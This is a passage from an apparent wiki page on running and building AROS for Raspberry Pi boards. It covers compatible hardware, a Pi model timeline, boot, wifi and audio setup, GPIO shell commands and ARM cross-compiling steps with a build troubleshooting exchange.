Compute Module PoE Board] and CM3 lite (if not lite, write files to internal eMMC fat32) '''AVOID''' bin blobs *Blue [https://www.waveshare.com/compute-module-io-board-plus.htm Waveshare Compute Module IO Board Plus] [https://www.waveshare.com/wiki/Compute_Module_IO_Board_Plus wiki] [https://forums.raspberrypi.com/viewtopic.php?t=235695 pin settings] with CM3+ Lite - '''AVOID''' binary blob *[ Pi02w on Geekworm SupTronics X305 Raspberry Pi Zero IO Baseboard] - untested *[ Spotpear Pi Zero 2w to Pi3b format-ish] - untested *[ pi-top v4] box has 128x64 oled display, micro hdmi, 19Whr battery with pi4 and 15V PD 36W min needed *[ pi-top v3] three green pieces, heatsink covers most of the base tray, pi-top hub mk1 lhs and Pi1B Pi2b Pi3b rhs secured from below, black rounded strip with pi-top above keyboard, 13.3" HD 1366 x 768 display, small touchpad, *[ pi-top Model 2.0] pi-top on bottom bezel of 14-inch green laptop, large trackpad, keyboard slide down to reveal main system hub on slide rails moved to the right, Raspberry Pi3b screws down, hub slides in, 18V 2.5A 45W charger brick, battery 11.1V 3500mAh 38.85Wh and storage PiTopOS *[ Pi-Top CEED Raspberry Pi Modular Educational Desktop with RPI3] monitor *[https://www.indiegogo.com/en/projects/jesselozano/pi-top-a-raspberry-pi-laptop-you-build-yourself Pi-Top v1] wedge laptop with RPi2 <pre> 2008 Trustees collected for Foundation 2009 Pi Foundation charity status gained 2010 2011 First Raspberry prototypes 2012 First boards go on sale at CPC and RS. The Model A and B 700 MHz Arm11 - February 29th BCM 2835 2012 First million sold - more than the 10,000 original planned and anticipated 2013 First Alpha Experimental builds of AROS Native for the 32bit Pi 2013 Pi Trading launched making grants available, providing in house educational resources and Pi Academy for teacher training 2013 Over two million sold 2014 Over three million sold 2014 Pi 1 Model B+ introduced that moved composite video to audio jack and same half gig of memory 2014 Pi Model A+ v1.1 no ethernet and 1 usb - a little smaller - 2015 Over four million first gen pis sold 2015 Pi Zero 1.2 BCM2835 first production revision released with no camera port 2016 Pi0 1.3 released with camera csi connector 2017 Pi Zero W v1.1 1GHz Pi0W, single-core 32bit CPU BCM2835 released with Cypress CYW43438 wireless 2020 Raspberry Pi Pico SC0919 with RP2040 32-bit 2Core ARM Cortex-M0+ up to 133 MHz - 264KB of SRAM and 2MB of on-board QSPI Flash - 2024 Raspberry Pi Pico 2 with RP2350 2Core 32bit Arm Cortex-M33 and 2core open-hardware [https://github.com/wren6991/hazard3 Hazard3 RISC-V] 2015 Pi 2 Model B v1.1 BCM2836 900/600 MHz ARM Cortex-A7 Armv7 quad 32bit, 32bit VideoCore IV GPU - 1Gb RAM - 5V 2A micro usb - SMSC LAN9514 chip - 2015 Over a million pi2s sold 2015 Raspberry Pi 2 Model B version 1.2 Pi2bv1.2, aka Pi2B2 has armv8 BCM2837 underclocked to 900Mhz without wifi/bluetooth module 2016 Pi 3 Model B - Broadcom BCM2837 SOC four 64bit ARMv8 Cortex-A53 1.2GHz 32bit 1080p VideoCore IV GPU - 1Gb DDR2 - bluetooth 4.1, Cypress CYW43438 wireless 802.11n - 4 x USB2.0 ports - 5.1V 2.5A - SMSC LAN9514 chip 2016 PIs total over 10 million worldwide 2017 Compute Module 3 CM3 with BCM2837B0 armv8 Quad 64-bit - small 67.6mm x 31mm board which fits DDR2 SODIMM connector but not electrically compatible which plugs into needed IO board - beware of the I2C protocol issue 1Gb LPDDR2 RAM - Lite or 4Gb Emmc storage 2017 12 million pis sold in total 2018 Pi 3 Model B+ - 4c A53 BCM2837B0 1.4Ghz - 1Gb, wireless 802.11ac, gigabit ethernet (300Mbit/s) and bluetooth 4.2 - power over ethernet - 4 x USB2.0 ports - Microchip LAN7515 chip 2019 Over 15 million sold 2019 Pi 3 Model A+ with BCM2837b0 Cortex-A53 64-bit SoC @ 1.4 GHz with 512Mb LPDDR2, 1 usb2, 1 hdmi, 1 micro usb 5V 2A - no ethernet - 2019 Raspberry Pi Compute Module 3+ CM3+ - Broadcom BCM2837B0 1.2Ghz, Cortex-A53 (ARMv8) 64-bit SoC on DDR2 SODIMM mechanically compatible only factor - IO board required 1Gb DDR2 and 8GB, 16GB, 32GB or a Lite variant without eMMC 2021 Pi zero 2 (w or no W) RP3A0 quad 1GHz Cortex-A53 64bit BCM2710A1 512mB SDRam 2025 edaTEC CM0 ED-CM0NANA with additional dev board with quad 1Ghz A53 with 512Mb Raysan RAM, 2 USB2 and 10/100 ethernet - pico castellated edge 2019 Pi 4 Model B RPI4B - BCM2711B0T quad 64bit A72 1.5GHz, 4K VideoCore VI, AC wifi, Bluetooth 5.0, GbE Broadcom BCM54213PE (PHY ID 0x600d84a2), 2 micro hdmi decode up to 4K, USB-C 5.1V 3A power, 2xVLI VL805 USB 3, 2xUSB 2.0, 2GB 9LDWW D9WHZ or 4GB 9FDWW D9WHV, 8GB 0AA47 D9ZCL ddr4 ram 2020 Silent Pi 4 v1.2 upgrade with more USB-c psu support 2020 PI400 BCM2711C0T 1.8GHz 4Gb DDR4 inside keyboard, 5.1V 5A 27W usb-c psu, 2 micro hdmi, external ide style 40pin gpio, no audio port - 2020 Raspberry Pi Compute Module 4 BCM2711B0T on new 55mm x 40mm 2x100 pin form factor with extra breakout IO board CM4101000 1Gb RAM Lite SOM CM4102000 2GB RAM Lite CM4104000 4GB RAM Lite CM4004008-4GB-RAM 8GB-EMMC SOM System on Modules CM4104032 4GB RAM 32GB emmc CM4108000 8GB RAM Lite CM4008016 8GB RAM 16Gb eMMc 2021 Raspberry Pi SC0763 Compute Module 4S CM4S with ddr2 sodimm pinouts but not electrically the same with suitable IO board extra cost - CM4S01000 1GB RAM Lite CM4S01008 1GB RAM 8GB eMMC Flash CM4S02000 2GB RAM Lite CM4S04000 4GB RAM Lite CM4S08000 8GB RAM Lite 2021 Pi 4 v1.4 BCM2711B1 upgraded power regulator, to deal with 8gig of ram being more power hungry - 2021-48 Raspberry Pi 4 model B v1.5 2GB 2023 Pi 5 v1.0 BCM2712 Quad A76 @2.4Ghz - VideoCore VII - no audio socket - dual 4k from mini hdmi - fan connector - 5.1V 5A psu 2024 Pi 5 2GB DDR4 version uses BCM2712D0 2024 Pi-500 with 8Gb LPDDR5 and membrane keyboard 2024 Pi 5 v1.1 2024 Raspberry Pi Compute Module 5 CM5 BCM2712 55mm x 40mm form factor with additional IO board CM5004000 04GB RAM 0GB eMMC Lite CM5008000 08GB RAM 0GB eMMC Lite CM5016000 16GB RAM 0GB eMMC Lite 2025 Pi-500+ with 256GB NVMe storage, 16GB LPDDR4 RAM, and Gateron KS-33 Low Profile Blue mechanical keyboard switches 2025 Pi5 1GB DDR4 announced 2022 PiOS linux goes 64bit 2024 Pi Trading IPO stockmarket stock exchange listing 2026 April and May Aros 64bit fixed, added AHI audio, VC4 gfx started, usb functions added to rom 2026 June and July Aros 64bit usb2otg started, dma.resource, sdio.resource, bwfm.device wifi added 2026 Late July daily 64bit Pi3 LE little endian builds start 2026 August Pi 4, 400, 5 and 500 DTBs added, expanding existing support and wifi for Pi4 and Pi5 2026 August Pi5 HAT+ nvme and HDMI, AHI RPiI2S added, Pi4 HVS5 video scaler started, 2026 2027 2028 Pi 6 </pre> ==Future== [https://github.com/ARMSX2/ARMSX2 Arm pi of pcsx2] {{BookCat}} nv6gsb2dvr0c3v4dqqewqx3bt07zmsd 4670889 4670872 2026-09-18T11:02:36Z Jeff1138 301139 4670889 wikitext text/x-wiki {{ArosNav}} [[#Native]] [[#Hosted]] [[#Build]] [[#Hardware]] [[#References]] [[#Future]] ==Introduction== [[File:Scalos00.png|thumb|Scalos on Aros Pi3b]] Aros aims to cover Pi 3 to 5 1Gb+ RAM ideally as you may have to switch to 256Mb gfx mode depending on the application running Options to boot from using a good power source to prevent the yellow lightning symbol. *With Pi3b+ the max you can get is 5.1V 2.5A with micro usb. *With Pi4 5.1V 3A with usb-c *With Pi5 5.1V 5A, the amps went ever upwards, even to 5.1V 9A with usb-c Pi500+ keyboard wedge - Pi400 RPI-400 keyboard wedge - resolution changing and audio from micro hdmi0 (near 40pin) and micro hdmi1 (near usb-c psu) - Fn F10 0x5e power on and off works or held down for over 7 seconds auto shutdown - keyboard ok - wifi and lan ethernet testing - * Pi 5 - Quad A76 64bit ARMv8 and RP1 "southbridge" with VideoCore 7 Pre-D0 (Rev1.0) or D0 (rev1.1) * Pi 4 - Quad A72 64bit ARMv8 with VideoCore 6 * Pi 3 - Quad A53 [https://www.raspberrypi.com/documentation/computers/processors.html 64 bit] ARMv8 with VideoCore 4 with heatsink/fan on 3b to prevent cpu 82C+ throttling * Pi 2 - Quad 32bit ARMv6 with VideoCore 4 - mostly not 64bit compatible * Pi Model B+ 32bit ARMv6 with VideoCore 4 - not 64bit compatible * Pi Model A and B 32bit ARMv6 with VideoCore 4 - not 64bit compatible ===Native=== * 2013-03 Kalamatee starts work * 2015-04 Work continues with mschulz on the kernel and Kalamatee (NicJA) on gpio and usb * 2018 [https://www.patreon.com/posts/i-owe-you-some-20956961 mschulz resume adding BE big endian support], [https://www.patreon.com/michal_schulz/posts Big endian on Pi] * 2026 [https://github.com/aros-development-team/AROS/commits?author=bsek latest commits for pi 3b, 4 and 5 64bit] * 2026 [https://github.com/aros-development-team/AROS/commits?author=metaneutrons latest commits for Pi5] * 2026 [https://github.com/aros-development-team/AROS/commits?author=bitplane latest commits for ARM] '''Download''' [https://aros.sourceforge.io/nightly1.html RaspberryPi 3, 3+, 4 and 5 64bit ArmV8 builds] [https://sourceforge.net/projects/aros/files/ Alternative site and nightly2] both raspi-aarch64-system and raspi-aarch64-contrib can be unbz2'd and copied to fat32 8GB+ microSD card (there will be folders - boot c Classes Demos Developer Devs Extras etc only showing). The SD can be plugged in to the Pi 64bit build works well on a single core LE little endian. Multicore [https://github.com/aros-development-team/AROS/commit/1df0747c2bda3523a43029725a709b1f377d84ec may follow]. Any issues booting could be down to the SD card so please use another SD to see if it is resolved. Please report your experiences in the [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2019&rowstart=80 Aros Raspberry pi 3 64bit thread] and on the [https://forums.raspberrypi.com/viewtopic.php?p=2387984#p2387984 Raspberry Pi forum thread] Boots with '''USB3''' port based sata3 ssd on Pi400 but untested on Pi4 (may need eeprom update from PiOS or Pi SD Imager) and Pi5 Pi 3 B+ is pre-configured for USB sata3 boot - untested Pi 3 B may need [https://www.youtube.com/watch?v=ubnwvxF3Klc PiOS to set OTP to boot from usb - do so at your own risk] - if OTP set to usb, boot works but slower than SD card Speed write wise (top faster) <pre> *NVME Pi5 untested >1000MB/sec or faster if matched correctly *Sata3 ssd 500MB/sec *SD V90 90MB/sec 4K maybe 8K *SD V60 60MB/sec 1080p *SD U3 V30 30MB/sec 720p *SD C10 U1 V10 A1 A2 10MB/sec minimum should be used now *SD C06 6MB/sec *SD C04 4MB/sec </pre> As a homage to the past, Aros shows a reduced number of icons but this can be changed by left mouse click in the window and then right click down to Window -> View -> All files Windows can be manipulated by the top (moving) and the bottom right corner (resizing) only. Zune like MUI gui interface, has a unique quirk in that after changing a setting in a text box, you may need to press Enter/Return before clicking OK, Save, etc Like most amiga like OSs the audio and networking need to be setup manually Audio AHI prefs - Mode settings tab - needs both Music unit and Unit 0 set to RPiHDMI:16 bit stereo++ or RPiPWM:16 bit stereo++ at 44100Hz. Press '''Save or Use''' button after each choice Double left mouse click on most picture (Developer/Debug/Tests/Datatypes), audio and video files are supported, via datatypes, by the multiview application. Esc escape key usually closes open windows even the desktop In Prefs/Appearance some decorative theming elements need work. There is a few Mason icons in /Prefs/Presets/Icons/Mason/ and the ever present default Gorilla - Icon exchange in works For more intensive graphics applications, you may need to edit config.txt in the root folder and change 128M to 256M to adjust more memory to graphics usage [http://archives.arosworld.org/index.php?function=browse&cat=network/browser amelinium web browser] is available with an [https://eab.abime.net/showthread.php?t=122494&page=51 eab thread] reminiscent of [https://github.com/zapek/Voyager Voyager] and to a lesser extent [https://github.com/amigazen/aweb3/ Aweb]. [[File:Wifi00.png|thumb|Setup wifi on Aros Pi3b]] [[File:Wifi01.png|thumb|Setup wifi on Aros Pi3b]] [[File:Wifi02.png|thumb|Setup wifi on Aros Pi3b]] Wifi setup needs the network prefs with the TCP/IP tab click add interface -> change Device to bwfm.device as net0:, IP Mode as DHCP and IPv4. Wireless tab gets your router settings. If it does not set to start at boot, settings are preserved. Instead, add this to the user-startup: <pre> execute sys:system/network/arostcp/s/startnet run wirelessmanager device=bwfm.device >nil: </pre> Network will start automatically on boot. If you don't want the wirelessmanager icon on Wanderer desktop, just add 'nogui' to the wirelessmanager line Lan ethernet port on *lan9514 Pi3b Pi2 no support at the moment *lan7515 Pi3b+ type into Device usblan78xx.device as net0: remove other device(s) *bcmgenet Pi4 Pi400 choose for Device bcmgenet.device Summary *3b ethernet not supported, usb ethernet not working and setup wifi has interface issues *3b+ seems to work wifi and ethernet *4 untested *400 seems to work wifi and ethernet (with interface issues) There is normally no Bluetooth support for most amiga like OSs but Aros has one [https://github.com/aros-development-team/AROS/commit/6942cbfbf66426d21963a7fcd8aba6aff611a9e0 work in progress] [https://forums.raspberrypi.com/viewtopic.php?t=338466 firmware] *Bluetooth 4.1 BCM43430A1.hcd Pi3B, Pi3A, Zero 2W *Bluetooth 4.2 BCM4345C0.hcd Pi3B+, Pi4 *Bluetooth 5.0 BCM4345C5.hcd Pi4B rev, CM4 and maybe Pi5 and CM5 *bthid keyboard mouse support *btserial serial *btpan short range wireless connecting devices Only the Pi5 has a RTC real time clock, the other Pis will need to use Extras:Networking/utils/ntpsync/ or [https://archives.arosworld.org/index.php?function=browse&cat=network PiNTP] to get the date and time from the internet It helps to have all usb devices already plugged in before power on to detect at the moment. Even then some usb devices will freeze the mouse cursor and the only resolution is to remove the offending usb device and reinsert. Sometimes, the reinsert leads to the mouse cursor vanishing, it is still there and responds to left and right clicks. USB classes support from Prefs/Trident is still work in process *usbaudio working on usb3 port (blue) on pi4, 400 but not working (no rt isochronous) on usb2otg (white or black) for pi3b, zero 2w *[https://aminet.net/package/mus/midi/camd camdusbmidi] detects midi devices without a preferences file (Prefs/Env-Archive/sys/midi.prefs) as [https://www.youtube.com/watch?v=RBxHkwy4Nrw auto setup now] possibly with [https://github.com/metaneutrons/mt32-pi metaneutrons mt32-pi] [https://github.com/rtzor/mt32-pi mt32-pi fork] [https://github.com/ahmadexp/mt32-pi fork] [] [https://github.com/dwhinham/mt32-pi mt32-pi pi3+] as well as need developer gcc tools to look at 64bit ports of [https://archives.arosworld.org/?function=showfile&file=driver/audio/usbmidi.i386-aros.lha usbmidi], [https://aminet.net/package/mus/midi/CAMD_Toolkit CAMD_Toolkit], [https://aminet.net/package/mus/midi/camdtools camdtools], [https://github.com/cnvogelg/amiditools amiditools], [https://github.com/timoinutilis/midi-sequencer-amigaos horny src], [https://aminet.net/package/mus/midi/horny-base horny-base], [http://bnp.hansfaust.de/index.html BnP], [], Regarding 680x0 emulation, there are several options that could be considered *[https://github.com/aros-development-team/AROS/blob/6722a0ae9e03fe5d26e32703360bd2059e0864cc/rom/m68kemu/README.md?plain=1#L424 m68kemu.library] for some Amiga productivity where the cpu is emulated and the system calls are redirected to Aros ones *[https://github.com/BlitterStudio/amiberry amiberry] (winuae) for everything else like games *[https://github.com/jonx/AROS/tree/aarch64-darwin-graft/arch/all-darwin/libs/emu68k emu68k] *[https://scriptedamigaemulator.net/ Scripted Amiga] with [https://github.com/naTmeg/ScriptedAmigaEmulator ScriptedAmigaEmulator] or older [https://github.com/gbraad-amiga/ScriptedAmigaEmulator2 ScriptedAmigaEmulator2] [https://pinout.xyz/ GPIO 40 pins] [https://learn.sparkfun.com/tutorials/raspberry-gpio/gpio-pinout pinout] Some exceptions: *Physical pins 27, 28 (GPIO0, 1) are an internal I2C bus and should not be used *The other I2C on pins 3, 5 (GPIO 2, 3) can be used generally, but be aware they have permanent pull-up resistors to 3.3V *For MIDI use USB but there are dedicated UART pins 8, 10 (GPIO 14, 15). With a HAT it's more awkward -- you need to know which pins are used by the HAT and avoid them. Hopefully this will be documented. Remember all GPIOs are 3.3V (not 5V tolerant), floating/noisy inputs can cause odd behavior, and that shorting the power supplies can cause instant death of the Pi. In the shell GPIO PIN/A/N,SET/N,GET/S,MODE/K,PULL/K Controls and queries hardware GPIO pins via gpio.resource which is stored in the rom or Devs/ '''please test''' *PIN -- (Required) Target GPIO pin number (e.g. 12). *SET -- Set pin output value to 0 (LOW) or 1 (HIGH). *GET -- Read and print current digital input level (0 or 1). *MODE -- Configure pin mode: IN (Input), OUT (Output), ALT (Alternate). *PULL -- Configure pull resistor: NONE, UP, DOWN. EXAMPLES <pre> GPIO 12 MODE OUT GPIO 12 SET 1 GPIO 12 GET GPIO 13 PULL UP </pre> [https://gpiozero.readthedocs.io/en/stable/installing.html Current] [https://gpiozero.readthedocs.io/en/v1.2.0/api_boards.html old support for gpiozero is unknown at present] [https://energenie4u.co.uk/res/pdfs/ENER314%20UM.pdf and associated 433MHz equipment] [ USA X10 security and lights via USB] [ OpenHab with Shelly Smart Plug connected over Wi-Fi, controlled by MQTT or HTTP] Printing only with Postscript but [https://github.com/bohunamiga/MintPRINT one] of [https://github.com/boingball/MintPRINT two] [https://github.com/Andiweli/AmiAirPrint/tree/main AirPrint] IPP has been attempted with [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2061&pid=13954#post_13954 discussion] Youtube [], [], [https://www.youtube.com/watch?v=X4fmWAIv7FE Aros native on Pi3b], [], [], [https://www.youtube.com/watch?v=TSxlYb1eQWU Installed on Pi3b+], [], [], [https://www.youtube.com/watch?v=NFF1H3jCoz8 testing Aros native on Pi400], [], [], [https://www.youtube.com/watch?v=nIVx7mh1E1Q&pp=ygUHYXJvcyBwadIHCQkTDAGHKiGM7w%3D%3D Aros on Thumb 2 based 32bit-ish ARM STM32H743 board], The status of AROS native ARMv6 for 32bit RasPi was OK. System booting, USB working (although with some issues but plans to fix them). 32bit native [http://www.aros.org/nightly1.html ARMv6 32bit nightlys] raspi-armhf-system raspi-armhf-contrib unbz2'd to fat32 microSD ===Hosted=== AArch64 CPU backend for AROS, a Cocoa/Metal display, clipboard / host-volume / CoreAudio / BSD-sockets bridges, GPU 2D via gpufx.library, a 68k→AArch64 JIT (run68k), and a full Rust std port. On [https://www.jkn.me/blog/macaros-aros-on-apple-silicon/ latest Apple Silicon] [https://github.com/jonx/Macaros early buggy alpha version of hosted Aros .dmg on MacOS12+]. Please use [https://github.com/jonx/Macaros/issues MACAros github] for issues, features etc and possibly [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2030&pid=13910#post_13910 here] [http://www.aros.org/snapshots1.html old linux and android hosted 32bit] ===Good sites to visit=== *[https://github.com/raspberrypi/firmware/tree/master/ Raspberry Pi Firmware build] *[https://www.raspberrypi.com/documentation/computers/software-sources.html Documentation] *[https://rpilocator.com/ RPiLocator] Linux only *[https://github.com/raspberrypi/linux Raspberry Pi Linux Build] *[https://www.raspberrypi.com/software/operating-systems/ PiOS Lite] and then [https://hstwb.firstrealize.com/ HST] *[https://dietpi.com/ DietPi] *[http://www.tinycorelinux.net/ports.html piCore] *[https://wiki.alpinelinux.org/wiki/Raspberry_Pi Alpine Linux] *[https://github.com/armbian/build Armbian] *[ PiMiga] *[ FydeOS] *[ TwisterOS based on ChromiumOS] *[https://note.com/jamesmondo/n/nc76e31402be8?hl=en BSD] Other alternative lighter smaller than Pi OS *[https://aros.sourceforge.io/nightly1.html Aros 64bit ARMV8 single core] *[https://www.riscosopen.org/wiki/documentation/show/Welcome%20to%20RISC%20OS%20Pi RiscOS on Pi3 and Pi4] *[https://github.com/michalsc/Emu68 ARM based realtime JIT 68k for amiga computers] *[https://github.com/JJDSNT/bellatrix/releases/ Alternative use of Emu68 on Pi3b] *[https://github.com/stevereaver/uaos uaOS with Emu68k] *[https://github.com/aros-development-team/AROS/commit/f80a268607dfae81b2db94755ab4e4d31ccb72d6 m68kemu library reference] *[ HaikuOS] *[https://github.com/raspberrypi/noobs NOOBS] os loader with successor [https://github.com/procount/pinn PINN] *[https://github.com/maxnet/berryboot berryboot] *[https://github.com/brianwiddas/pi-baremetal Bare Metal Access on Pi 32bit] ==== Hosted ==== =====64bit===== [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2019&rowstart=80&pid=13667#post_13667 Ubuntu Linux PC hosted Pi compiler build] [https://github.com/BlitterStudio/aros-compiler-docker Docker based cross compiler for various Aros systems], =====32bit===== Ubuntu VM approach to compiling [http://lallafa.de/blog/2013/06/building-aros-hosted-for-raspbian/ Linux hosted AROS June 04, 2013] ../AROS/configure --target=linux-armhf --enable-includes=/usr/arm-linux-gnueabihf/include --x-includes=/usr/arm-linux-gnueabihf/include --x-libraries=/usr/arm-linux-gnueabihf/lib arm-elf- is symbol-linked to arm-linux-gnueabi- (arm-linux-gnueabi- is more correct in this case, because it's going to be compiling the ARM AROSBootstrap for ARM Linux) *armel - many of the "android" machines require since the entire OS is made for soft float VFP. *armfp - Efika MX target, Raspberry PI, EfikaMX, Pandora and virtually everything (VFP) Keep in mind it's possible to start hardfp AROS hosted on softfp system, though, as long as no calls between AROS and host require floating point parameters. NOTE: hardfloat objects *cannot* be linked with softfloat objects - they have a different ABI. Just keep in mind the arm nightly build machine is quite complex beast. It needs the x86_64 host compiler to compile AROS tools. The arm version is built every night using gcc-4.6.2 crosscompiler (built together with AROS) and successfully builds armel and armhf linux hosted targets. *needs an AROS code compiler for ARM target *as well as unix compiler for ARM linux host (would be best to have both softfp and armhf, we have softfp only now) with full set of libraries and includes. with—disable-crosstools $AROS_CC is always a wrapper around $KERNEL_CC ? If so, this is wrong for some ports. This can break Darwin, Windows and Android port. Yes, Android port will build. And even work. But it's not good because the port will not be ABI-compatible with other ARM ports. Android's ABI is different from GNUEABI. For example: <pre> enum test {foo, bar}; enum test testvar; </pre> sizeof(testvar) will be equal to sizeof(int) in GNUEABI (Linux and AROS) and sizeof(short) on Android. This affects linking objects from static linklibs, for example. Previously everything worked because $AROS_CC was a wrapper on top of $HOST_CC. And a real crosscompiler was used on non-ELF hosts. Android is the same. $KERNEL_CC is incompatible with AROS. compiler=kernel is appropriate _ONLY FOR CODE WHICH RUNS ON HOST OS_ (or barebone hardware, if we talk about native). This includes bootstraps, their linklibs, and host-side dynamic libraries (Windows makes extensive use of them because of architectural considerations. No single AROS object should be compiled with this setting. $KERNEL_CC is really compatible with AROS *ONLY IN LINUX-HOSTED* and no more. On other systems (Darwin, Windows, Android) this is not true any more, and compiler=kernel is never going to work. If you want to compile your AROS module against host OS includes, append the following to USER_INCLUDES (or USER_CFLAGS, this is effectively the same): -isystem $(GENINCDIR) $(KERNEL_INCLUDES) $(KERNEL_INCLUDES) expands to: -isystem <your_os_includes> -isystem <host_OS_gcc_private_includes> -nostdinc This makes AROS compiler adhering to host OS APIs. If you want some preprocessor symbols based on what your host OS actually is, add something like -DHOST_OS_$(AROS_HOST_ARCH). Why is there $(GENINCDIR) at all? Because host OS has its own libc includes, which would conflict with AROS ones. And the host OS libc is not binary-compatible with AROS one. Why doesn't Windows-hosted port use $(KERNEL_INCLUDES) ? Because WinAPI includes conflict with AROS ones in fundamental typedefs, like WORD, BYTE and BOOL. It's almost impossible to deal with this in any other way than rewriting WinAPI definitions using AROS types. Building under centos 6.3 (i386) currently, and AROS creates the toolchain itself. haven't yet committed the necessary changes but "./configure --target=raspi-armhf" is enough to start, then "make arosboot-raspi" will generate arosraspi.img (containing the bootstrap, kernel.resource, and exec.library) as well as arosraspi.rom (containing all the other essentials components such as dos, graphics etc). It will also copy over a config.txt file to make the raspi bootstrap code load the correct kernel, and a cmdline.txt that enables exec debug output. *armel = typically Debian 6, Ubuntu Maverick, Android, *armhf = typically Debian 7, Debian 8, Ubuntu Precise, Cross-compiling Ubuntu ARM softfp <pre> sudo sh echo 'foreign-architecture armel' >>/etc/dpkg/dpkg.cfg.d/multiarch echo 'deb [arch=armel] http://ports.ubuntu.com/ precise main universe' >/etc/apt/sources.list.d/armel.list apt-get update apt-get install gcc-arm-linux-gnueabi libx11-dev:armel libsdl-dev:armel </pre> <pre> ./configure --target=linux-arm --x-includes=/usr/include \ --enable-includes=/usr/arm-linux-gnueabi/include </pre> Cross-compiling Ubuntu ARM hard-float <pre> sudo sh echo 'foreign-architecture armhf' >>/etc/dpkg/dpkg.cfg.d/multiarch echo 'deb [arch=armhf] http://ports.ubuntu.com/ precise main universe' >/etc/apt/sources.list.d/armhf.list apt-get update apt-get install gcc-arm-linux-gnueabihf libx11-dev:armhf libsdl-dev:armhf </pre> <pre> ./configure --target=linux-armhf --x-includes=/usr/include \ --enable-includes=/usr/arm-linux-gnueabihf/include </pre> Now, the AROS build is configured properly and all you need to do is: make ==Build== ===64bit=== ===32bit=== # download/checkout the source someplace, e.g. /build/AROS-Src/ # make a directory to store external sources AROS downloads, e.g. /build/Ports # make a build directory, e.g. /build/aros-raspi-armhf # cd into the build dir, configure, and then run make -: <pre> >cd /build/aros-raspi-armhf >/build/AROS-Src/configure --target=raspberrypi-armhf --with-serial-debug --enable-ccache --with-portssources=/build/Ports >make >make arosboot-raspi </pre> then copy the files from /build/aros-raspi-armhf/bin/raspi-armhf/AROS/ onto an sdcard, and download/copy the Raspi firmware files onto it. You should then be able to boot the sdcard on your RasPi. The current W.I.P tree to svn. it can be built as follows .. <pre> ./configure --target=raspi-armhf make arosboot-raspi </pre> That will generate arosraspi.img, arosraspi.rom and config.txt in bin/raspi-arm/AROS - so either copy just those files to a fat formatted SD card (with the firmware files on), or copy the whole contents of the AROS folder. NB - if you have a Linux/other install, backup the existing config.txt first arosraspi.img contains the bootstrap (which has very basic mailbox code, framebuffer/gpio init, and console "emulation" via code pinched from our libbootconsole), kernel.resource, and exec.library arosraspi.rom contains all the other components needed to boot AROS. The config.txt file will tell the RasPI bootstrap to load the arosraspi kernel and ramdisk (rom). the bootstrap has minimal mailbox code, planning on adding either a resource or library that driver/app code will use to access it (likewise for GPIO) Help building AROS hosted on Linux ARM Was looking a way to use more my Handheld ARM based called Pyra (Dragonbox Pyra) an ARM (Omap5 cpu with 4GB ram) linux based machine (Debian Buster v10 with kernel 5.6.19 adapted) and have a try to compile the latest Aros sources by Deadwood directly on this device. Compilation stops after build libpopupmenu.a and trying to build libatomic have this error: <pre> Configuring build in bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic configure: WARNING: unrecognized options: --disable-nls, --without-x checking for --enable-version-specific-runtime-libs... no checking for --enable-generated-files-in-srcdir... no checking build system type... arm-unknown-linux-gnu checking host system type... arm-unknown-aros checking target system type... arm-unknown-aros checking for a BSD-compatible install... /usr/bin/install -c checking whether build environment is sane... yes checking for arm-aros-strip... /media/farox/pyra2/arosbuilds/toolchain-core-armhf/arm-aros-strip checking for a thread-safe mkdir -p... /usr/bin/mkdir -p checking for gawk... no checking for mawk... mawk checking whether make sets $(MAKE)... yes checking whether make supports nested variables... yes checking for arm-aros-gcc... /media/farox/pyra2/arosbuilds/toolchain-core-armhf/arm-aros-gcc checking whether the C compiler works... no configure: error: in /media/farox/pyra2/arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic': configure: error: C compiler cannot create executables See config.log' for more details make[2]: *** [mmakefile:4489: /media/farox/pyra2/arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic/.configured] Error 77 [MMAKE] make --no-print-directory TOP=/media/farox/pyra2/arosbuilds/toolchain-core-armhf-build SRCDIR=/media/farox/pyra2/arosbuilds/AROS CURDIR=tools/crosstools/gnu TARGET=tools-crosstools-gcc-libatomic-configure -s --file=mmakefile tools-crosstools-gcc-libatomic-configure failed: 512 [MMAKE] Error: Error while running make in tools/crosstools/gnu: No such file or directory make[1]: *** [Makefile:361: linklibs-libatomic] Error 10 make: *** [Makefile:183: crosstools] Error 2 </pre> looking at config.log on arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic found that arosbuilds/toolchain-core-armhf/arm-aros-ld: cannot find -laeabi so do make linklibs-aeabi-arm-quick and the missing lib was built. now the next stop is at fatal error: bits/libc-header-start.h: No such file or directory and fatal error: sys/cdefs.h: No such file or directory in many places so after checking that have this missing include files i have noted that my include path is a bit different, standard searching path is /usr/arm-linux-gnueabihf but in my system is /usr/include/arm-linux-gnueabihf so if i add my path to some mmakefiles compilation goes on....but is a better way to add this path to avoid every mmakefiles to be changed? fixed with adding -I/usr/include/arm-linux-gnueabihf to where is missing on mmakefiles like USER_INCLUDES := -isystem $(GENINCDIR) -I/usr/include/arm-linux-gnueabihf $(KERNEL_INCLUDES) P.s. I have changed many mmakefiles and have at least compiled (after many hours) the toolchain doing make every time in arosbuilds/toolchain-core-armhf-build (also have to disable making tests under cplusplus but don't remember the directory ...) but ask an help to have an automated way to correctly build without modify mmakefiles. Last time built armhf target was around 2 years ago. At that point built is via cross-compilation from linux (ubuntu 22.04) using linux armhf crosscompiler (this can explain the path differences you are experiencing) as well as using AROS gcc cross-compiler in version 6.5.0 (build with option 21) in rebuild.sh). Since then AROS GCC has been updated to 10.5.0 and don't believe anyone tried to build the armhf target again. My suggestion would be to downgrade GCC to 6.5.0 (via editing AROS/config/gcc_def file) and try to first build using cross-compilation from x86_64 linux. Once that works, you will have a "template" to compare to native compilation under arm linux. Thanks for your suggestion...but think the toolchain with GCC 10.5.0 is compilable if i found a way to pass the path of my system to the script that build (option 21 on rebuild). The other only changes are (but don't know where to modify...) is to add the build of libaeabi and disable the building of some tests under cplusplus that use exceptions and is not supported under ARM. try to crosscompile with my Linux amd64 PC. For paths look into core-linux-armhf/bin/linux-armhf/gen/config/target.cfg. A number of build-wide variable is set there containing 